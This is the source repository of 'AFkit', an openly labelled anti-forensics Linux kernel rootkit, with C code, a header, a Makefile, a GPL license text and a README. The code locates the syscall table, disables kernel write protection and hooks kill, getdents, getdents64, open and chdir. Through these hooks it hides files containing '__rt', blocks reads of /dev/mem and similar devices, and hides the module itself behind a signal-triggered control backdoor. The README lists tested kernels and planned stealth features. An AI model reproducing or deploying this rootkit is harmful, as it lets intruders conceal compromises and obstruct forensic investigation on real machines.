├── AFkit__rt.c ├── AFkit__rt.h ├── LICENSE ├── Makefile └── README.md /AFkit__rt.c: -------------------------------------------------------------------------------- 1 | // ########################################################################################################### 2 | // ########################################################################################################### 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | // =========================================================================================================== 17 | 18 | #include "AFkit__rt.h" 19 | 20 | // ########################################################################################################### 21 | // ########################################################################################################### 22 | 23 | // Function to get syscall table and store it 24 | static unsigned long **get_syscall_table(void){ 25 | unsigned long int offset = PAGE_OFFSET; 26 | unsigned long **syscall_t; 27 | 28 | while(offset < ULLONG_MAX){ 29 | syscall_t = (unsigned long **)offset; 30 | 31 | if(syscall_t[__NR_close] == (unsigned long *) sys_close) return syscall_t; 32 | offset += sizeof(void *); 33 | } 34 | 35 | return NULL; 36 | } 37 | 38 | // Hide LKM Rootkit 39 | static void hide_lkm(void){ 40 | if(module_hidden == false){ 41 | module_previous = THIS_MODULE->list.prev; 42 | module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; 43 | 44 | list_del(&THIS_MODULE->list); 45 | kobject_del(&THIS_MODULE->mkobj.kobj); 46 | list_del(&THIS_MODULE->mkobj.kobj.entry); 47 | 48 | module_hidden = true; 49 | } 50 | else return; 51 | } 52 | 53 | // Unhide LKM Rootkit 54 | static void unhide_lkm(void){ 55 | if(module_hidden == true){ 56 | list_add(&THIS_MODULE->list, module_previous); 57 | kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, MODULE_NAME); 58 | module_hidden = false; 59 | } 60 | else return; 61 | } 62 | 63 | // Custom kill syscall. 64 | // Used to interact with rootkit 65 | asmlinkage int custom_kill(pid_t pid, int sig){ 66 | // Toggle show/hide __rt files/dirs 67 | if((sig == 31) && (pid == 0)){ 68 | if(files_dirs_view == false) files_dirs_view = true; 69 | else if(files_dirs_view == true) files_dirs_view = false; 70 | return 0; 71 | } 72 | // Toggle show/hide __rt files/dirs content 73 | else if((sig == 32) && (pid == 0)){ 74 | if(files_dirs_content == false) files_dirs_content = true; 75 | else if(files_dirs_content == true) files_dirs_content = false; 76 | return 0; 77 | } 78 | // Toggle RAM dump shield 79 | else if((sig == 33) && (pid == 0)){ 80 | if(ram_dump_shield == false) ram_dump_shield = true; 81 | else if(ram_dump_shield == true) ram_dump_shield = false; 82 | return 0; 83 | } 84 | // Hide process with given pid 85 | else if(sig == 34){ 86 | return 0; 87 | } 88 | // Hide LKM Rootkit 89 | else if((sig == 35) && (pid == 0)){ 90 | hide_lkm(); 91 | return 0; 92 | } 93 | // Unhide LKM Rootkit 94 | else if((sig == 36) && (pid == 0)){ 95 | unhide_lkm(); 96 | return 0; 97 | } 98 | // Show Rootkit status in dmesg via printk 99 | /* 100 | else if((sig == 50) && (pid == 0)){ 101 | printk(KERN_INFO "\n## STATUS ##\nHide Files/Directories from view: %d\nHide Files/Directories content: %d\nRAM shield: %d\n", files_dirs_view, files_dirs_content, ram_dump_shield); 102 | return 0; 103 | } 104 | */ 105 | else return (*orig_kill)(pid,sig); 106 | } 107 | 108 | // Custom chdir syscall. 109 | // Used to avoid to chdir into __rt directories. 110 | asmlinkage int custom_chdir(const char *pathname){ 111 | if((strstr(pathname, HIDE_STRING) != NULL) && (files_dirs_content == true)){ 112 | return -ENOENT; 113 | } 114 | else{ 115 | return orig_chdir(pathname); 116 | } 117 | } 118 | 119 | // Custom getdents syscall. 120 | // Used to avoid __rt files listing 121 | asmlinkage long custom_getdents(unsigned int fd, struct linux_dirent *dirp, size_t count){ 122 | int ret; 123 | struct linux_dirent *self = dirp; 124 | int pos = 0; 125 | 126 | // Call the original function 127 | // Directory entries will be written to a buffer pointed to by dirp 128 | ret = orig_getdents(fd, dirp, count); 129 | 130 | // Iterate through the directory entries 131 | while(pos < ret){ 132 | // Check prefix 133 | if((strstr(self->d_name, HIDE_STRING) != NULL) && (files_dirs_view == true)){ 134 | int err; 135 | int reclen = self->d_reclen; // Size of self dirent 136 | char* next_rec = (char*)self + reclen; // Address of next dirent 137 | int len = (int *)dirp + ret - (int *)next_rec; // Bytes from the next dirent to end of the last 138 | char* remaining_dirents = kmalloc(len, GFP_KERNEL); 139 | 140 | // Copy the next and following dirents to kernel memory 141 | err = copy_from_user(remaining_dirents, next_rec, len); 142 | if(err) continue; 143 | 144 | // Overwrite (delete) the self dirent in user memory 145 | err = copy_to_user(self, remaining_dirents, len); 146 | if (err) continue; 147 | 148 | kfree(remaining_dirents); 149 | 150 | // Adjust the return value; 151 | ret -= reclen; 152 | continue; 153 | } 154 | 155 | // Get the next dirent 156 | pos += self->d_reclen; 157 | self = (struct linux_dirent *) ((char*)dirp + pos); 158 | } 159 | 160 | return ret; 161 | } 162 | 163 | // Custom getdents64 syscall. 164 | // Used to avoid __rt files listing 165 | asmlinkage long custom_getdents64(unsigned int fd, struct linux_dirent64 *dirp, size_t count){ 166 | int ret; 167 | struct linux_dirent64 *self = dirp; 168 | int pos = 0; 169 | 170 | // Call the original function 171 | // Directory entries will be written to a buffer pointed to by dirp 172 | ret = orig_getdents64(fd, dirp, count); 173 | 174 | // Iterate through the directory entries 175 | while(pos < ret){ 176 | // Check prefix 177 | if((strstr(self->d_name, HIDE_STRING) != NULL) && (files_dirs_view == true)){ 178 | int err; 179 | int reclen = self->d_reclen; // Size of self dirent 180 | char* next_rec = (char*)self + reclen; // Address of next dirent 181 | int len = (int *)dirp + ret - (int *)next_rec; // Bytes from the next dirent to end of the last 182 | char* remaining_dirents = kmalloc(len, GFP_KERNEL); 183 | 184 | // Copy the next and following dirents to kernel memory 185 | err = copy_from_user(remaining_dirents, next_rec, len); 186 | if(err) continue; 187 | 188 | // Overwrite (delete) the self dirent in user memory 189 | err = copy_to_user(self, remaining_dirents, len); 190 | if (err) continue; 191 | 192 | kfree(remaining_dirents); 193 | 194 | // Adjust the return value; 195 | ret -= reclen; 196 | continue; 197 | } 198 | 199 | // Get the next dirent 200 | pos += self->d_reclen; 201 | self = (struct linux_dirent64 *) ((char*)dirp + pos); 202 | } 203 | 204 | return ret; 205 | } 206 | 207 | // Custom open syscall. 208 | // Used to avoid __rt files content inspection and to avoid /dev/mem reading (and dumping) 209 | asmlinkage int custom_open(const char *pathname, int flag, mode_t mode){ 210 | if((strstr(pathname, HIDE_STRING ) != NULL) && (files_dirs_content == true)){ 211 | return -ENOENT; 212 | } 213 | else if(((strstr(pathname, "/dev/mem" ) != NULL) || (strstr(pathname, "/dev/port" ) != NULL) || (strstr(pathname, "/dev/kmem" ) != NULL)) && (ram_dump_shield == true)){ 214 | return -ENOENT; 215 | } 216 | else{ 217 | return orig_open(pathname, flag, mode); 218 | } 219 | } 220 | 221 | // Function used to backup default syscalls and hook customized ones 222 | static void hook_syscall_table(void){ 223 | GPF_DISABLE; 224 | orig_kill = (kill_ptr)syscall_table[__NR_kill]; 225 | syscall_table[__NR_kill] = (unsigned long *) custom_kill; 226 | orig_getdents = (getdents_ptr)syscall_table[__NR_getdents]; 227 | syscall_table[__NR_getdents] = (unsigned long *) custom_getdents; 228 | orig_getdents64 = (getdents64_ptr)syscall_table[__NR_getdents64]; 229 | syscall_table[__NR_getdents64] = (unsigned long *) custom_getdents64; 230 | orig_open = (open_ptr)syscall_table[__NR_open]; 231 | syscall_table[__NR_open] = (unsigned long *) custom_open; 232 | orig_chdir = (chdir_ptr)syscall_table[__NR_chdir]; 233 | syscall_table[__NR_chdir] = (unsigned long *) custom_chdir; 234 | GPF_ENABLE; 235 | } 236 | 237 | // Function used to restore default (and previusly stored) syscalls 238 | static void restore_syscall_table(void){ 239 | GPF_DISABLE; 240 | syscall_table[__NR_kill] = (unsigned long *) orig_kill; 241 | syscall_table[__NR_getdents] = (unsigned long *) orig_getdents; 242 | syscall_table[__NR_getdents64] = (unsigned long *) orig_getdents64; 243 | syscall_table[__NR_open] = (unsigned long *) orig_open; 244 | syscall_table[__NR_chdir] = (unsigned long *) orig_chdir; 245 | GPF_ENABLE; 246 | } 247 | 248 | // ########################################################################################################### 249 | // ########################################################################################################### 250 | 251 | // Init function 252 | static int afkit_init(void){ 253 | if(!(syscall_table = get_syscall_table())) return -1; 254 | hook_syscall_table(); 255 | 256 | return 0; 257 | } 258 | 259 | // Exit function 260 | static void afkit_exit(void){ 261 | restore_syscall_table(); 262 | } 263 | 264 | // ########################################################################################################### 265 | // ########################################################################################################### 266 | 267 | module_init(afkit_init); 268 | module_exit(afkit_exit); 269 | 270 | MODULE_LICENSE("GPL"); 271 | MODULE_DESCRIPTION("Anti-forensics rootkit"); 272 | MODULE_AUTHOR("T0t3m"); 273 | 274 | // ########################################################################################################### 275 | // ########################################################################################################### 276 | 277 | -------------------------------------------------------------------------------- /AFkit__rt.h: -------------------------------------------------------------------------------- 1 | // Kernel protection ON/OFF 2 | #define GPF_DISABLE write_cr0(read_cr0() & (~ 0x10000)) 3 | #define GPF_ENABLE write_cr0(read_cr0() | 0x10000) 4 | 5 | // Misc strings 6 | #define HIDE_STRING "__rt" 7 | #define MODULE_NAME "AFkit" 8 | 9 | // Syscalls definitions and vars 10 | unsigned long **syscall_table; 11 | 12 | typedef asmlinkage int (*kill_ptr)(pid_t pid, int sig); 13 | kill_ptr orig_kill; 14 | 15 | typedef asmlinkage int (*getdents_ptr)(unsigned int fd, struct linux_dirent *dirp, unsigned int count); 16 | getdents_ptr orig_getdents; 17 | 18 | typedef asmlinkage int (*getdents64_ptr)(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); 19 | getdents64_ptr orig_getdents64; 20 | 21 | typedef asmlinkage long (*open_ptr)(const char *pathname, int flag, mode_t mode); 22 | open_ptr orig_open; 23 | 24 | typedef asmlinkage long (*chdir_ptr)(const char *pathname); 25 | chdir_ptr orig_chdir; 26 | 27 | // Drectory entry struct 28 | struct linux_dirent { 29 | unsigned long d_ino; 30 | unsigned long d_off; 31 | unsigned short d_reclen; 32 | char d_name[256]; 33 | char pad; 34 | char d_type; 35 | }; 36 | 37 | // Command vars 38 | static bool files_dirs_view = false; 39 | static bool files_dirs_content = false; 40 | static bool ram_dump_shield = false; 41 | static bool module_hidden = false; 42 | 43 | // Hide vars 44 | static struct list_head *module_previous; 45 | static struct list_head *module_kobj_previous; 46 | 47 | // AFkit Function prototypes 48 | static unsigned long **get_syscall_table(void); 49 | static void hide_lkm(void); 50 | static void unhide_lkm(void); 51 | asmlinkage int custom_kill(pid_t, int); 52 | asmlinkage int custom_chdir(const char *); 53 | asmlinkage long custom_getdents(unsigned int, struct linux_dirent *, size_t); 54 | asmlinkage long custom_getdents64(unsigned int, struct linux_dirent64 *, size_t); 55 | asmlinkage int custom_open(const char *, int, mode_t); 56 | static void hook_syscall_table(void); 57 | static void restore_syscall_table(void); -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. {http://fsf.org/} 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see {http://www.gnu.org/licenses/}. 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | AFkit Copyright (C) 2013 t0t3m 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | {http://www.gnu.org/licenses/}. 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | {http://www.gnu.org/philosophy/why-not-lgpl.html}. 675 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | obj-m = AFkit__rt.o 2 | CC = gcc -Wall 3 | PWD=$(shell pwd) 4 | 5 | all: 6 | make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules 7 | 8 | clean: 9 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AFkit 2 | 3 | ### Description 4 | 5 | **It is able to:** 6 | 1. Hide himself from /proc/modules, /proc/kallsyms and /sys/modules 7 | 2. Hide files with "__rt" substring in their name (and their content) 8 | 3. Avoid the opening and reading of /dev/mem, /dev/port and /dev/kmem devices 9 | 10 | This anti-forensic rootkit uses the system call hijacking method, in particular are hijacked the following syscalls: 11 | * open 12 | * read 13 | * getdents 14 | * getdents64 15 | * chdir 16 | * kill 17 | 18 | ### ToDo 19 | 20 | 1. Hide network connections 21 | 2. Hide network ports 22 | 3. Hide process by given PID 23 | 24 | ## PLEASE REPORT BUGS. IT'LL BE VERY APPRECIATED! 25 | 26 | **Tested on ArchLinux Kernel 3.10.10 (x86_64) but it is supposed to work on all 3.x versions.** 27 | **Beta quality product. I don't take any responsability about its usage and its behaviour.** 28 | 29 | **UPDATE 19/04/2014** 30 | 31 | **Tested on ArchLinux with Kernel 3.14.1 (x86_64) and Debian Wheezy with kernel 3.12 (686)** 32 | 33 | **UPDATE 15/04/2017** 34 | 35 | **Tested on ArchLinux with Kernel 4.10.8 (x86_64)** 36 | --------------------------------------------------------------------------------